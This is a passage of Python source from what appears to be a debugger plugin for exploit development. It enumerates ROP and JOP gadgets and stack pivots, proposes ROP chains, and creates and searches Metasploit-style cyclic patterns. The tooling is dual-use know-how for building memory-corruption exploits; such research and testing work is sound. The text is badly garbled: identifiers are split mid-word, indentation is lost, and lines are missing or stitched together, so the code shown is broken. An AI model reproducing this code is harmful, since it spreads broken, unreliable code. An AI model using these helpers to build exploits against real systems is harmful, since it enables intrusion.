ropfuncs,ropfuncoffsets
return ropfuncs,ropfuncoffsets
def assemble(instructions,encoder=""):
"""
Assembles one or more instructions to opcodes
Arguments:
instructions = the instructions to assemble (separated by #)
Return:
Dictionary (pointers)
"""
if not silent:
dbg.log("Opcode results : ")
dbg.log("---------------- ")
allopcodes=""
instructions = instructions.replace('"',"").replace("'","")
splitter=re.compile('#')
instructions=splitter.split(instructions)
for instruct in instructions:
try:
instruct = instruct.strip()
assembled=dbg.assemble(instruct)
strAssembled=""
objprogressfile = MnLog(progressfilename)
progressfile = objprogressfile.reset()
dbg.log("[+]
dbg.log("[+]
dbg.log("[+]
pivotdistance))
dbg.log("[+]
dbg.log("[+]
usefiles = False
filestouse = []
vplogtxt = ""
suggestions = {}
if "f" in criteria:
if criteria["f"] <> "":
if type(criteria["f"]).__name__.lower() != "bool":
usefiles = True
rawfilenames = criteria["f"].replace('"',"")
allfiles = rawfilenames.split(',')
#check if files exist
dbg.log("[+] Attempting to use %d rop file(s) as
input" % len(allfiles))
for fname in allfiles:
fname = fname.strip()
if not os.path.exists(fname):
dbg.log("
** %s : Does not e
xist !" % fname, highlight=1)
else:
filestouse.append(fname)
if len(filestouse) == 0:
dbg.log(" ** Unable to find any of the s
ource files, aborting... **", highlight=1)
return
search = []
if not usefiles:
if len(endings) == 0:
#RETN only
search.append("RETN")
for i in range(0, maxoffset + 1, 2):
search.append("RETN 0x"+ toHexByte(i))
else:
for ending in endings:
dbg.log("[+] Custom ending : %s" % ending)
if ending != "":
search.append(ending)
if len(modulestosearch) == 0:
dbg.log("[-] No modules selected, aborting search", high
light = 1)
return
dbg.log("[+] Enumerating %d endings in %d module(s)..." % (len(s
earch),len(modulestosearch)))
for thismodule in modulestosearch:
dbg.log("
- Querying module %s" % thismodule)
dbg.updateLog()
#search
found_opcodes = searchInModule(search,thismodule,criteri
a)
#merge results
all_opcodes = mergeOpcodes(all_opcodes,found_opcodes)
dbg.log("
- Search complete :")
else:
dbg.log("[+] Reading input files")
for filename in filestouse:
dbg.log("
- Reading %s" % filename)
all_opcodes = mergeOpcodes(all_opcodes,readGadgetsFromFi
le(filename))
dbg.updateLog()
tp = 0
for endingtype in all_opcodes:
if len(all_opcodes[endingtype]) > 0:
if usefiles:
dbg.log("
Ending : %s, Nr found : %d" % (e
ndingtype,len(all_opcodes[endingtype]) / 2))
tp = tp + len(all_opcodes[endingtype]) / 2
else:
dbg.log("
Ending : %s, Nr found : %d" % (e
ndingtype,len(all_opcodes[endingtype])))
tp = tp + len(all_opcodes[endingtype])
global silent
if not usefiles:
dbg.log("
- Filtering and mutating %d gadgets" % tp)
else:
dbg.log("
- Categorizing %d gadgets" % tp)
silent = True
dbg.updateLog()
ropgadgets = {}
interestinggadgets = {}
stackpivots = {}
stackpivots_safeseh = {}
adcnt = 0
tc = 1
issafeseh = False
step = 0
updateth = 1000
if (tp >= 2000 and tp < 5000):
updateth = 500
if (tp < 2000):
updateth = 100
for endingtype in all_opcodes:
if len(all_opcodes[endingtype]) > 0:
for endingtypeptr in all_opcodes[endingtype]:
adcnt=adcnt+1
if usefiles:
adcnt = adcnt - 0.5
if adcnt > (tc*updateth):
thistimestamp=datetime.datetime.now().st
rftime("%a %Y/%m/%d %I:%M:%S %p")
updatetext = "
- Progress update :
" + str(tc*updateth) + " / " + str(tp) + " items processed (" + thistimestamp +
") - (" + str((tc*updateth*100)/tp)+"%)"
objprogressfile.write(updatetext.strip()
,progressfile)
dbg.log(updatetext)
dbg.updateLog()
tc += 1
if not usefiles:
#first get max backward instruction
thisopcode = dbg.disasmBackward(endingty
peptr,depth+1)
thisptr = thisopcode.getAddress()
# we now have a range to mine
startptr = thisptr
currentmodulename = MnPointer(thisptr).b
elongsTo()
modinfo = MnModule(currentmodulename)
issafeseh = modinfo.isSafeSEH
while startptr <= endingtypeptr and star
tptr != 0x0:
# get the entire chain from star
tptr to endingtypeptr
thischain = ""
msfchain = []
thisopcodebytes = ""
chainptr = startptr
if isGoodGadgetPtr(startptr,crit
eria) and not startptr in ropgadgets and not startptr in interestinggadgets:
invalidinstr = False
while chainptr < endingt
ypeptr and not invalidinstr:
thisopcode = dbg
.disasm(chainptr)
thisinstruction
= thisopcode.getDisasm()
if isGoodGadgetI
nstr(thisinstruction) and not isGadgetEnding(thisinstruction,search):
thischai
n = thischain + " # " + thisinstruction
msfchain
.append([chainptr,thisinstruction])
thisopco
debytes = thisopcodebytes + opcodesToHex(thisopcode.getDump().lower())
chainptr
= dbg.disasmForwardAddressOnly(chainptr,1)
else:
invalidi
nstr = True
if endingtypeptr == chai
nptr and startptr != chainptr and not invalidinstr:
fullchain = this
chain + " # " + endingtype
msfchain.append(
[endingtypeptr,endingtype])
thisopcode = dbg
.disasm(endingtypeptr)
thisopcodebytes
= thisopcodebytes + opcodesToHex(thisopcode.getDump().lower())
msfchain.append(
["raw",thisopcodebytes])
if isInteresting
Gadget(fullchain):
interest
inggadgets[startptr] = fullchain
#this ma
y be a good stackpivot too
stackpiv
otdistance = getStackPivotDistance(fullchain,pivotdistance)
if stack
pivotdistance > 0:
#safeseh or not ?
if issafeseh:
if not stackpivotdistance in stackpivots_safeseh:
stackpivots_safeseh.setdefault(stackpivotdistance,[[startptr,fullchain]])
else:
stackpivots_safeseh[stackpivotdistance] += [[startptr,fullchain]]
else:
if not stackpivotdistance in stackpivots:
stackpivots.setdefault(stackpivotdistance,[[startptr,fullchain]])
else:
stackpivots[stackpivotdistance] += [[startptr,fullchain]]
else:
if not f
ast:
ropgadgets[startptr] = fullchain
startptr = startptr+1
else:
if step == 0:
startptr = endingtypeptr
if step == 1:
thischain = endingtypeptr
chainptr = startptr
ptrx = MnPointer(chainptr)
modname = ptrx.belongsTo()
issafeseh = False
if modname != "":
thism = MnModule(modname
)
issafeseh = thism.isSafe
SEH
if isGoodGadgetPtr(startptr,crit
eria) and not startptr in ropgadgets and not startptr in interestinggadgets:
fullchain = thischain
if isInterestingGadget(f
ullchain):
interestinggadge
ts[startptr] = fullchain
#this may be a g
ood stackpivot too
stackpivotdistan
ce = getStackPivotDistance(fullchain,pivotdistance)
if stackpivotdis
tance > 0:
#safeseh
or not ?
if issaf
eseh:
if not stackpivotdistance in stackpivots_safeseh:
stackpivots_safeseh.setdefault(stackpivotdistance,[[startptr,fullchain]])
else:
stackpivots_safeseh[stackpivotdistance] += [[startptr,fullchain]]
else:
if not stackpivotdistance in stackpivots:
stackpivots.setdefault(stackpivotdistance,[[startptr,fullchain]])
else:
stackpivots[stackpivotdistance] += [[startptr,fullchain]]
else:
if not fast:
ropgadge
ts[startptr] = fullchain
step = -1
step += 1
thistimestamp = datetime.datetime.now().strftime("%a %Y/%m/%d %I:%M:%S %
p")
updatetext = "
- Progress update : " + str(tp) + " / " + str(tp) +
" items processed (" + thistimestamp + ") - (100%)"
objprogressfile.write(updatetext.strip(),progressfile)
dbg.log(updatetext)
dbg.updateLog()
if mode == "all":
if len(ropgadgets) > 0 and len(interestinggadgets) > 0:
# another round of filtering
updatetext = "[+] Creating suggestions list"
dbg.log(updatetext)
objprogressfile.write(updatetext.strip(),progressfile)
suggestions = getRopSuggestion(interestinggadgets,ropgad
gets)
#see if we can propose something
updatetext = "[+] Processing suggestions"
dbg.log(updatetext)
objprogressfile.write(updatetext.strip(),progressfile)
suggtowrite=""
for suggestedtype in suggestions:
if suggestedtype.find("pop ") == -1:
#too many, don't write to file
suggtowrite += "[%s]\n" % suggestedtype
for suggestedpointer in suggestions[sugg
estedtype]:
sptr = MnPointer(suggestedpointe
r)
modname = sptr.belongsTo()
modinfo = MnModule(modname)
if not modinfo.moduleBase.__clas
s__.__name__ == "instancemethod":
rva = suggestedpointer modinfo.moduleBase
suggesteddata = suggestions[sugg
estedtype][suggestedpointer]
if not modinfo.moduleBase.__clas
s__.__name__ == "instancemethod":
ptrinfo = "0x" + toHex(s
uggestedpointer) + " (RVA : 0x" + toHex(rva) + ") : " + suggesteddata + "
**
[" + modname + "] ** | " + sptr.__str__()+"\n"
else:
ptrinfo = "0x" + toHex(s
uggestedpointer) + " : " + suggesteddata + "
** [" + modname + "] ** | " +
sptr.__str__()+"\n"
suggtowrite += ptrinfo
dbg.log("[+] Launching ROP generator")
updatetext = "Attempting to create rop chain proposals"
objprogressfile.write(updatetext.strip(),progressfile)
vplogtxt = createRopChains(suggestions,interestinggadget
s,ropgadgets,modulecriteria,criteria,objprogressfile,progressfile)
dbg.logLines(vplogtxt.replace("\t","
"))
dbg.log("
ROP generator finished")
else:
updatetext = "[+] Oops, no gadgets found, aborting.."
dbg.log(updatetext)
objprogressfile.write(updatetext.strip(),progressfile)
#done, write to log files
dbg.setStatusBar("Writing to logfiles...")
dbg.log("")
logfile = MnLog("stackpivot.txt")
thislog = logfile.reset()
objprogressfile.write("Writing " + str(len(stackpivots)+len(stackpivots_
safeseh))+" stackpivots with minimum offset " + str(pivotdistance)+" to file " +
thislog,progressfile)
dbg.log("[+] Writing stackpivots to file " + thislog)
logfile.write("Stack pivots, minimum distance " + str(pivotdistance),thi
slog)
logfile.write("-------------------------------------",thislog)
logfile.write("Non-safeSEH protected pivots :",thislog)
logfile.write("------------------------------",thislog)
arrtowrite = ""
pivotcount = 0
try:
with open(thislog,"a") as fh:
arrtowrite = ""
stackpivots_index = sorted(stackpivots) # returns sorted
keys as an array
for sdist in stackpivots_index:
for spivot, schain in stackpivots[sdist]:
ptrx = MnPointer(spivot)
modname = ptrx.belongsTo()
sdisthex = "%02x" % sdist
ptrinfo = "0x" + toHex(spivot) + " : {pi
vot " + str(sdist) + " / 0x" + sdisthex + "} : " + schain + "
** [" + modname
+ "] ** | " + ptrx.__str__()+"\n"
pivotcount += 1
arrtowrite += ptrinfo
fh.writelines(arrtowrite)
except:
pass
logfile.write("SafeSEH protected pivots :",thislog)
logfile.write("--------------------------",thislog)
arrtowrite = ""
try:
with open(thislog, "a") as fh:
arrtowrite = ""
stackpivots_safeseh_index = sorted(stackpivots_safeseh)
for sdist in stackpivots_safeseh_index:
for spivot, schain in stackpivots_safeseh[sdist]
:
ptrx = MnPointer(spivot)
modname = ptrx.belongsTo()
#modinfo = MnModule(modname)
sdisthex = "%02x" % sdist
ptrinfo = "0x" + toHex(spivot) + " : {pi
vot " + str(sdist) + " / 0x" + sdisthex + "} : " + schain + "
** [" + modname
+ "] ** | " + ptrx.__str__()+"\n"
pivotcount += 1
arrtowrite += ptrinfo
fh.writelines(arrtowrite)
except:
pass
dbg.log("
Wrote %d pivots to file " % pivotcount)
arrtowrite = ""
if mode == "all":
if len(suggestions) > 0:
logfile = MnLog("rop_suggestions.txt")
thislog = logfile.reset()
objprogressfile.write("Writing all suggestions to file "
+thislog,progressfile)
dbg.log("[+] Writing suggestions to file " + thislog )
logfile.write("Suggestions",thislog)
logfile.write("-----------",thislog)
with open(thislog, "a") as fh:
fh.writelines(suggtowrite)
fh.write("\n")
nrsugg = len(suggtowrite.split("\n"))
dbg.log("
Wrote %d suggestions to file" % nrsugg)
if not split:
logfile = MnLog("rop.txt")
thislog = logfile.reset()
objprogressfile.write("Gathering interesting gadgets",pr
ogressfile)
dbg.log("[+] Writing results to file " + thislog + " ("
+ str(len(interestinggadgets))+" interesting gadgets)")
logfile.write("Interesting gadgets",thislog)
logfile.write("-------------------",thislog)
dbg.updateLog()
try:
with open(thislog, "a") as fh:
arrtowrite = ""
for gadget in interestinggadgets:
ptrx = MnPointer(gadget)
modname = ptrx.belongsTo
()
#modinfo = MnModule(modn
ame)
arrtowrite += ptrinfo
objprogressfile.write("Writing results t
o file " + thislog + " (" + str(len(interestinggadgets))+" interesting gadgets)"
,progressfile)
fh.writelines(arrtowrite)
dbg.log("
Wrote %d interesting gadgets to fil
e" % len(interestinggadgets))
except:
pass
arrtowrite=""
if not fast:
objprogressfile.write("Enumerating other gadgets
(" + str(len(ropgadgets))+")",progressfile)
dbg.log("[+] Writing other gadgets to file " + t
hislog + " (" + str(len(ropgadgets))+" gadgets)")
try:
logfile.write("",thislog)
logfile.write("Other gadgets",thislog)
logfile.write("-------------",thislog)
with open(thislog, "a") as fh:
arrtowrite=""
for gadget in ropgadgets:
ptrx = MnPointer
(gadget)
modname = ptrx.b
elongsTo()
#modinfo = MnMod
ule(modname)
ptrinfo = "0x" +
toHex(gadget) + " : " + ropgadgets[gadget] + "
** [" + modname + "] ** |
" + ptrx.__str__()+"\n"
arrtowrite += pt
rinfo
dbg.log("
Wrote %d other gadg
ets to file" % len(ropgadgets))
objprogressfile.write("Writing r
esults to file " + thislog + " (" + str(len(ropgadgets))+" other gadgets)",progr
essfile)
fh.writelines(arrtowrite)
except:
pass
else:
dbg.log("[+] Writing results to individual files (groupe
d by module)")
dbg.updateLog()
for thismodule in modulestosearch:
thismodname = thismodule.replace(" ","_")
thismodversion = getModuleProperty(thismodule,"v
ersion")
logfile = MnLog("rop_"+thismodname+"_"+thismodve
rsion+".txt")
thislog = logfile.reset()
logfile.write("Interesting gadgets",thislog)
logfile.write("-------------------",thislog)
for gadget in interestinggadgets:
ptrx = MnPointer(gadget)
modname = ptrx.belongsTo()
modinfo = MnModule(modname)
thismodversion = getModuleProperty(modname,"vers
ion")
thismodname = modname.replace(" ","_")
logfile = MnLog("rop_"+thismodname+"_"+thismodve
rsion+".txt")
tinggadgets[gadget] + "
()+"\n"
thislog = logfile.reset(False)
ptrinfo = "0x" + toHex(gadget) + " : " + interes
** " + modinfo.__str__() + " ** | " + ptrx.__str__
with open(thislog, "a") as fh:
fh.write(ptrinfo)
if not fast:
for thismodule in modulestosearch:
thismodname = thismodule.replace(" ","_"
)
thismodversion = getModuleProperty(thism
odule,"version")
logfile = MnLog("rop_"+thismodname+"_"+t
hismodversion+".txt")
logfile.write("Other gadgets",thislog)
logfile.write("-------------",thislog)
for gadget in ropgadgets:
ptrx = MnPointer(gadget)
modname = ptrx.belongsTo()
modinfo = MnModule(modname)
thismodversion = getModuleProperty(modna
me,"version")
thismodname = modname.replace(" ","_")
logfile = MnLog("rop_"+thismodname+"_"+t
hismodversion+".txt")
ropgadgets[gadget] + "
()+"\n"
thislog = logfile.reset(False)
ptrinfo = "0x" + toHex(gadget) + " : " +
** " + modinfo.__str__() + " ** | " + ptrx.__str__
all_opcodes = {}
ptr_counter = 0
modulestosearch = getModulesToQuery(modulecriteria)
progressid=toHex(dbg.getDebuggedPid())
progressfilename="_jop_progress_"+dbg.getDebuggedName()+"_"+progressid+"
.log"
objprogressfile = MnLog(progressfilename)
progressfile = objprogressfile.reset()
dbg.log("[+] Progress will be written to %s" % progressfilename)
dbg.log("[+] Max nr of instructions : %d" % depth)
filesok = 0
usefiles = False
filestouse = []
vplogtxt = ""
suggestions = {}
fast = False
search = []
jopregs = ["EAX","EBX","ECX","EDX","ESI","EDI","EBP"]
offsetval = 0
for jreg in jopregs:
search.append("JMP " + jreg)
search.append("JMP [" + jreg + "]")
for offsetval in range(0, 40+1, 2):
search.append("JMP [" + jreg + "+0x" + toHexByte(offsetv
al)+"]")
search.append("JMP [ESP]")
for offsetval in range(0, 40+1, 2):
search.append("JMP [ESP+0x" + toHexByte(offsetval) + "]")
dbg.log("[+] Enumerating %d endings in %d module(s)..." % (len(search),l
en(modulestosearch)))
for thismodule in modulestosearch:
dbg.log("
- Querying module %s" % thismodule)
dbg.updateLog()
#search
found_opcodes = searchInModule(search,thismodule,criteria)
#merge results
all_opcodes = mergeOpcodes(all_opcodes,found_opcodes)
dbg.log("
- Search complete :")
dbg.updateLog()
tp = 0
for endingtype in all_opcodes:
if len(all_opcodes[endingtype]) > 0:
if usefiles:
dbg.log("
Ending : %s, Nr found : %d" % (e
ndingtype,len(all_opcodes[endingtype]) / 2))
tp = tp + len(all_opcodes[endingtype]) / 2
else:
dbg.log("
Ending : %s, Nr found : %d" % (e
ndingtype,len(all_opcodes[endingtype])))
tp = tp + len(all_opcodes[endingtype])
global silent
dbg.log("
- Filtering and mutating %d gadgets" % tp)
dbg.updateLog()
jopgadgets = {}
interestinggadgets = {}
adcnt = 0
tc = 1
issafeseh = False
step = 0
for endingtype in all_opcodes:
if len(all_opcodes[endingtype]) > 0:
for endingtypeptr in all_opcodes[endingtype]:
adcnt += 1
if usefiles:
adcnt = adcnt - 0.5
if adcnt > (tc*1000):
thistimestamp=datetime.datetime.now().st
rftime("%a %Y/%m/%d %I:%M:%S %p")
updatetext = "
- Progress update :
" + str(tc*1000) + " / " + str(tp) + " items processed (" + thistimestamp + ") (" + str((tc*1000*100)/tp)+"%)"
objprogressfile.write(updatetext.strip()
,progressfile)
dbg.log(updatetext)
dbg.updateLog()
tc += 1
#first get max backward instruction
thisopcode = dbg.disasmBackward(endingtypeptr,de
pth+1)
thisptr = thisopcode.getAddress()
# we now have a range to mine
startptr = thisptr
while startptr <= endingtypeptr and startptr !=
0x0:
# get the entire chain from startptr to
endingtypeptr
thischain = ""
msfchain = []
thisopcodebytes = ""
chainptr = startptr
if isGoodGadgetPtr(startptr,criteria) an
d not startptr in jopgadgets and not startptr in interestinggadgets:
# new pointer
invalidinstr = False
while chainptr < endingtypeptr a
nd not invalidinstr:
thisopcode = dbg.disasm(
chainptr)
thisinstruction = thisop
code.getDisasm()
if isGoodJopGadgetInstr(
thisinstruction) and not isGadgetEnding(thisinstruction,search):
thischain = thi
schain + " # " + thisinstruction
msfchain.append(
[chainptr,thisinstruction])
thisopcodebytes
= thisopcodebytes + opcodesToHex(thisopcode.getDump().lower())
chainptr = dbg.d
isasmForwardAddressOnly(chainptr,1)
else:
invalidinstr = T
rue
if endingtypeptr == chainptr and
startptr != chainptr and not invalidinstr:
fullchain = thischain +
" # " + endingtype
msfchain.append([endingt
ypeptr,endingtype])
thisopcode = dbg.disasm(
endingtypeptr)
thisopcodebytes = thisop
codebytes + opcodesToHex(thisopcode.getDump().lower())
msfchain.append(["raw",t
hisopcodebytes])
if isInterestingJopGadge
t(fullchain):
interestinggadge
ts[startptr] = fullchain
else:
if not fast:
jopgadge
ts[startptr] = fullchain
startptr = startptr+1
thistimestamp=datetime.datetime.now().strftime("%a %Y/%m/%d %I:%M:%S %p"
)
updatetext = "
- Progress update : " + str(tp) + " / " + str(tp) +
" items processed (" + thistimestamp + ") - (100%)"
objprogressfile.write(updatetext.strip(),progressfile)
dbg.log(updatetext)
dbg.updateLog()
logfile = MnLog("jop.txt")
thislog = logfile.reset()
objprogressfile.write("Enumerating gadgets",progressfile)
dbg.log("[+] Writing results to file " + thislog + " (" + str(len(intere
stinggadgets))+" interesting gadgets)")
logfile.write("Interesting gadgets",thislog)
logfile.write("-------------------",thislog)
dbg.updateLog()
arrtowrite = ""
try:
with open(thislog, "a") as fh:
arrtowrite = ""
for gadget in interestinggadgets:
ptrx = MnPointer(gadget)
modname = ptrx.belongsTo()
modinfo = MnModule(modname)
ptrinfo = "0x" + toHex(gadget) + " : " +
interestinggadgets[gadget] + "
** " + modinfo.__str__() + " ** | " + ptrx
.__str__()+"\n"
arrtowrite += ptrinfo
objprogressfile.write("Writing results to file " + thisl
reflist = all_pointers[shortestarray]
for refptr in reflist:
start_range = refptr - rangeval
if start_range < 0:
start_range = 0
end_range = refptr + rangeval
if start_range > end_range:
tmp = start_range
start_range = end_range
end_range = tmp
while start_range <= end_range:
if not start_range in allrefptr:
allrefptr.append(start_range)
start_range += 1
# do normal intersection
dbg.log("[+] Starting compare, please wait...")
dbg.updateLog()
s_remaining = allrefptr
s_fulllist = allrefptr
fcnt = 1
while fcnt < len(fileorder)-1 and len(s_remaining) > 0:
s_remaining = list(set(s_remaining).intersection(set(all
_pointers[fileorder[fcnt]])))
s_fulllist = list(set(s_fulllist).union(set(all_pointers
[fileorder[fcnt]])))
fcnt += 1
for s in s_remaining:
if not s in remaining:
remaining.append(s)
for s in s_fulllist:
if not s in fulllist:
fulllist.append(s)
nonmatching = list(set(fulllist) - set(remaining))
dbg.log("
Total nr of unique pointers : %d" % len(fulllist))
dbg.log("
Nr of matching pointers before filtering : %d" % len(remain
ing))
dbg.log("
nmatching))
include = True
if include and (tomatch == "" or tomatch in thisinstr):
outputlines += "0x%08x : %s\n" % (remptr,thisins
tr)
for nonptr in nonmatching:
if fast:
outputlines_not += "0x%08x\n" % nonptr
else:
thisinstr = ""
if nonptr in all_input_files[shortestarray]:
thisinstr = all_input_files[shortestarray][nonpt
r]
outputlines_not += "File(%d) 0x%08x : %s\n" % (shortesta
rray,nonptr,thisinstr)
for fileindex in all_input_files:
if fileindex != shortestarray:
these_entries = all_input_files[fileinde
x]
if nonptr in these_entries:
thisinstr = these_entries[nonptr
]
outputlines_not += "
File (%d)
outputlines_not += "
File (%d)
. %s\n" % (fileindex,thisinstr)
else:
. Entry not found \n" % fileindex
dbg.log("[+] Writing output to files")
objcomparefile.write(outputlines, comparefile)
objcomparefilenot.write(outputlines_not, comparefilenot)
nrmatching = len(outputlines.split("\n")) - 1
dbg.log("
Wrote %d matching pointers to file" % nrmatching)
dbg.log("[+] Done.")
return
#------------------#
# Cyclic pattern
#------------------#
def createPattern(size,args={}):
"""
Create a cyclic (metasploit) pattern of a given size
Arguments:
size - value indicating desired length of the pattern
if value is > 20280, the pattern will repeat itself until it reac
hes desired length
Return:
string containing the cyclic pattern
"""
char1="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
char2="abcdefghijklmnopqrstuvwxyz"
char3="0123456789"
if "extended" in args:
char3 += ",.;+=-_!&()#@({})[]%" # ascii, 'filename' friendly
if "c1" in args
char1 =
if "c2" in args
char2 =
if "c3" in args
char3 =
if "js" in args:
js_output = True
else:
js_output = False
if not silent:
if not "extended" in args and size > 20280 and (len(char1) <= 26
or len(char2) <= 26 or len(char3) <= 10):
msg = "** You have asked to create a pattern > 20280 byt
es, but with the current settings\n"
msg += "the pattern generator can't create a pattern of
" + str(size) + " bytes. As a result,\n"
msg += "the pattern will be repeated for " + str(size-20
280)+" bytes until it reaches a length of " + str(size) + " bytes.\n"
msg += "If you want a unique pattern larger than 20280 b
ytes, please either use the -extended option\n"
msg += "or extend one of the 3 charsets using options -c
1, -c2 and/or -c3 **\n"
dbg.logLines(msg,highlight=1)
pattern = []
max = int(size)
while len(pattern) < max:
for ch1 in char1:
for ch2 in char2:
for ch3 in char3:
if len(pattern) < max:
pattern.append(ch1)
if len(pattern) < max:
pattern.append(ch2)
if len(pattern) < max:
pattern.append(ch3)
pattern = "".join(pattern)
if js_output:
return str2js(pattern)
return pattern
def findOffsetInPattern(searchpat,size=20280,args = {}):
"""
Check if a given searchpattern can be found in a cyclic pattern
Arguments:
searchpat : the ascii value or hexstr to search for
Return:
entries in the log window, indicating if the pattern was found and at wh
at position
"""
mspattern=""
searchpats = []
modes = []
modes.append("normal")
modes.append("upper")
modes.append("lower")
extratext = ""
patsize=int(size)
if patsize == -1:
size = 500000
patsize = size
global silent
oldsilent=silent
for mode in modes:
silent=oldsilent
if mode == "normal":
silent=True
mspattern=createPattern(size,args)
silent=oldsilent
extratext = " "
elif mode == "upper":
silent=True
mspattern=createPattern(size,args).upper()
silent=oldsilent
extratext = " (uppercase) "
elif mode == "lower":
silent=True
mspattern=createPattern(size,args).lower()
silent=oldsilent
extratext = " (lowercase) "
if len(searchpat)==3:
#register ?
searchpat = searchpat.upper()
regs = dbg.getRegs()
if searchpat in regs:
searchpat = "0x" + toHex(regs[searchpat])
if len(searchpat)==4:
ascipat=searchpat
if not silent:
dbg.log("Looking for %s in pattern of %d bytes"
% (ascipat,patsize))
if ascipat in mspattern:
patpos = mspattern.find(ascipat)
if not silent:
dbg.log(" - Pattern %s found in cyclic p
attern%sat position %d" % (ascipat,extratext,patpos),highlight=1)
else:
#reversed ?
ascipat_r = ascipat[3]+ascipat[2]+ascipat[1]+asc
ipat[0]
if ascipat_r in mspattern:
patpos = mspattern.find(ascipat_r)
if not silent:
dbg.log(" - Pattern %s (%s rever
allpointers = {}
results = {}
mindistance = 4
maxdistance = 40
if "mindistance" in
mindistance
if "maxdistance" in
maxdistance
criteria:
= criteria["mindistance"]
criteria:
= criteria["maxdistance"]
maxdepth = 8
preventbreak = True
if "all" in criteria:
preventbreak = False
if "depth" in criteria:
maxdepth = criteria["depth"]
if not silent:
dbg.log("[+] Type of search: %s" % patterntype)
dbg.log("[+] Searching for matches up to %d instructions deep" %
maxdepth)
if len(modulecriteria) > 0:
modulestosearch = getModulesToQuery(modulecriteria)
# convert modules to ranges
for modulename in modulestosearch:
objmod = MnModule(modulename)
mBase = objmod.moduleBase
mTop = objmod.moduleTop
if mBase < base and base < mTop:
mBase = base
if mTop > top:
mTop = top
if mBase >= base and mBase < top:
if not [mBase,mTop] in rangestosearch:
rangestosearch.append([mBase,mTop])
# if no modules were specified, then also add the other ranges
(outside modules)
if not "modules" in modulecriteria:
outside = getRangesOutsideModules()
for range in outside:
mBase = range[0]
mTop = range[1]
if mBase < base and base < mTop:
mBase = base
if mTop > top:
mTop = top
if mBase >= base and mBase < top:
if not [mBase,mTop] in rangestosearch:
rangestosearch.append([mBase,mTo
p])
else:
rangestosearch.append([base,top])
pattern = pattern.replace("'","").replace('"',"").replace(" "," ").repl
ace(", ",",").replace(" ,",",").replace("# ","#").replace(" #","#")
if len(pattern) == 0:
dbg.log("** Invalid search pattern **")
return
# break apart the instructions
# search for the first instruction(s)
allinstructions = pattern.split("#")
instructionparts = []
instrfound = False
for instruction in allinstructions:
instruction = instruction.strip().lower()
if instrfound and instruction != "":
instructionparts.append(instruction)
else:
if instruction != "*" and instruction != "":
instructionparts.append(instruction)
instrfound = True
# remove wildcards placed at the end
for i in rrange(len(instructionparts)):
if instructionparts[i] == "*":
instructionparts.pop(i)
else:
break
# glue simple instructions together if possible
# reset array
allinstructions = []
stopnow = False
mergeinstructions = []
mergestopped = False
mergetxt = ""
for instr in instructionparts:
if instr.find("*") == -1 and instr.find("r32") == -1 and not mer
gestopped:
mergetxt += instr + "\n"
else:
allinstructions.append(instr)
mergestopped = True
mergetxt = mergetxt.strip("\n")
searchPattern = []
remaining = allinstructions
if mergetxt != "":
searchPattern.append(mergetxt)
else:
# at this point, we're sure the first instruction has some kind
of r32 and/or offset variable
# get all of the combinations for this one
# and use them as searchPattern
cnt = 0
stopped = False
for instr in allinstructions:
if instr != "*" and (instr.find("r32") > -1 or instr.fin
d("*") > -1) and not stopped:
if instr.find("r32") > -1:
for reg in dbglib.Registers32BitsOrder:
thisinstr = instr.replace("r32",
reg.lower())
silent=oldsilent
allpointers = mergeOpcodes(allpointers,pointers)
# for each of the findings, see if it contains the other instructions to
o
# disassemble forward up to 'maxdepth' instructions
for ptrtypes in allpointers:
for ptrs in allpointers[ptrtypes]:
thisline = ""
try:
for depth in xrange(maxdepth):
tinstr = dbg.disasmForward(ptrs, depth).
getDisasm().lower() + "\n"
if tinstr != "???":
thisline += tinstr
else:
thisline = ""
break
except:
continue
allfound = True
thisline = thisline.strip("\n")
if thisline != "":
parts = thisline.split("\n")
maxparts = len(parts)-1
partcnt = 1
searchfor = ""
remcnt = 0
lastpos = 0
remmax = len(remaining)
while remcnt < remmax:
searchfor = remaining[remcnt]
searchlist = []
if searchfor == "*":
while searchfor == "*" and remcn
t < remmax:
searchfor = remaining[re
mcnt+1]
rangemin = partcnt
rangemax = maxparts
remcnt += 1
else:
rangemin = partcnt
rangemax = partcnt
if searchfor.find("r32") > -1:
for reg in dbglib.Registers32Bit
sOrder:
searchlist.append(search
for.replace("r32",reg.lower()))
else:
searchlist.append(searchfor)
partfound = False
if ptype == "ptr":
pattern = pattern.replace("0x","")
value = int(pattern,16)
bytes = struct.pack('<I',value)
elif ptype == "bin":
if len(pattern) % 2 != 0:
dbg.log("Invalid hex pattern", highlight=1)
return
if not wildcardsearch:
bytes = hex2bin(pattern)
else:
# check if first byte is a byte and not a wildcard
if len(pattern) > 3 and pattern[2:4] == "..":
dbg.log(" *** Can't start a wildcard search with
a wildcard. Specify a byte instead ***",highlight =1)
return
else:
# search for the first byte and then check wildc
ards later
foundstartbytes = False
sindex = 0
while not foundstartbytes:
b = pattern[sindex:sindex+4]
if not ".." in b:
bytes += hex2bin(pattern[sindex:
sindex+4])
else:
foundstartbytes = True
sindex += 4
elif ptype == "asc":
if pattern.startswith('"') and pattern.endswith('"'):
pattern = pattern.replace('"',"")
elif pattern.startswith("'") and pattern.endswith("'"):
pattern = pattern.replace("'","")
bytes = pattern
elif ptype == "instr":
pattern = pattern.replace("'","").replace('"',"").replace(" ","
").replace(", ",",").replace(" #","#").replace("# ","#")
silent = True
bytes = hex2bin(assemble(pattern,""))
silent = False
if bytes == "":
dbg.log("Invalid instruction - could not assemble %s" %
pattern,highlight=1)
return
elif ptype == "file":
patternfilename = pattern.replace("'","").replace('"',"")
dbg.log("
- Search patterns = all pointers in file %s" % patt
ernfilename)
dbg.log("
Extracting pointers...")
FILE=open(patternfilename,"r")
contents = FILE.readlines()
FILE.close()
extracted = 0
for thisLine in contents:
if thisLine.lower().startswith("0x"):
lineparts=split1.split(thisLine)
thispointer = lineparts[0]
#get type = from : to *
if len(lineparts) > 1:
subparts = split2.split(thisLine)
if len(subparts) > 1:
if subparts[1] != "":
subsubparts = split3.spl
it(subparts[1])
if not subsubparts[0] in
allpointers:
allpointers[subs
ubparts[0]] = [hexStrToInt(thispointer)]
else:
allpointers[subs
ubparts[0]] += [hexStrToInt(thispointer)]
dbg.log("
dbg.updateLog()
extracted += 1
%d pointers extracted." % extracted)
fakeptrcriteria = {}
fakeptrcriteria["accesslevel"] = "*"
if "p2p" in criteria or level > 0:
#save range for later, search in all of userland for now
p2prangestosearch = rangestosearch
rangestosearch = tmpsearch
if ptype != "file":
for ranges in rangestosearch:
mBase = ranges[0]
mTop = ranges[1]
if not silent:
dbg.log("[+] Searching from 0x%s to 0x%s" % (toH
ex(mBase),toHex(mTop)))
